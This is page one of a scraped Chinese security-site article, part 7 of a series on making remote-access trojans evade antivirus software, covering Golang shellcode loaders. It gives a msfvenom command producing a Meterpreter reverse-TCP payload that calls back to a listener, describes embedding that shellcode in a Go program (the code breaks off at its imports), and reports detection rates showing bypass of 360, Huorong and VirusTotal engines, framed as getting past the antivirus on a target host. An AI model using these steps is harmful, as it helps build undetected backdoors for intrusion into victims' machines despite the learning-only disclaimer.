>远控免杀从入门到实践(7)-代码篇-Golang+Ruby-系统安全-黑吧安全网 | xxx>远控免杀从入门到实践(7)-代码篇-Golang+Ruby-系统安全-黑吧安全网 – xxx
菜单

>远控免杀从入门到实践(7)-代码篇-Golang+Ruby-系统安全-黑吧安全网

三月 7, 2020 - 黑吧安全网

远控免杀从入门到实践(7)-代码篇-Golang+Ruby

来源:本站整理 作者:佚名 时间:2020-03-07 TAG: 我要投稿

郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
《远控免杀从入门到实践》系列文章目录:
1、远控免杀从入门到实践 (1)基础篇
2、远控免杀从入门到实践 (2)工具总结篇
3、远控免杀从入门到实践 (3)代码篇-C/C++
4、远控免杀从入门到实践 (4)代码篇-C#
5、远控免杀从入门到实践 (5)代码篇-Python
6、远控免杀从入门到实践 (6)代码篇-Powershell
7、远控免杀从入门到实践 (7)代码篇-Golang+Ruby
8、远控免杀从入门到实践 (8)白名单总结篇
9、远控免杀从入门到实践 (9)深入免杀 (暂定)
10、远控免杀从入门到实践 (10)自研工具篇 (暂定)
免杀能力一览表
>远控免杀从入门到实践(7)-代码篇-Golang+Ruby-系统安全-黑吧安全网
几点说明:
1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。
2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。
3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。
4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀或杀软查杀能力的判断指标。
5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。
代码篇最后一篇,后面就是白名单篇了,再后面就是自己写免杀软件了。。。
Golang加载shellcode
1.1 GO加载shellcode介绍
用Golang做免杀的不是很多,不过也有一些go写的免杀工具,比如专题21里介绍的HERCULES就是把利用go来嵌入shellcode然后编译exe,还有veil、Avoidz都可以生成基于go语言的shellcode,而且免杀效果还不错。
唯一不足的是go编译出来的exe大约2.3M左右,使用upx压缩下大约1.5M,不过相比python编译的exe应该还能接受了,免杀效果还比python-exe要好一些。
Golang也可以分两种方式,一种是将shellcode嵌入go代码然后编译exe,一种是使用go加载器。
1.2 Go嵌入shellcode(VT查杀率3/71)
Go中嵌入shellcode的方法不大多,只找到了两种代码,相比python要少很多,也可能是因为毕竟少的缘故,所以免杀效果还是比较好的。
先用msfvenom生成C语言的shellcode,注意要生成x64的。
msfvenom -p  windows/x64/meterpreter/reverse_tcp  lhost=10.211.55.2 lport=3333 -f c
将shellcode转换一下,变成下面的格式
>远控免杀从入门到实践(7)-代码篇-Golang+Ruby-系统安全-黑吧安全网
将转换后的shellcode替换到下面的shellcode_buf位置,文件保存为shell.go
package main
import (
    "io/ioutil"
    "os"
    "syscall"

[1] [2] [3]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。

上一篇:你的管理员可信吗?五条构建管理员信任的建议返回黑吧安全网首页】【进入黑吧技术论坛
下一篇:删库背后,是权限管控的缺失


Notice: Undefined variable: canUpdate in /var/www/html/wordpress/wp-content/plugins/wp-autopost-pro/wp-autopost-function.php on line 51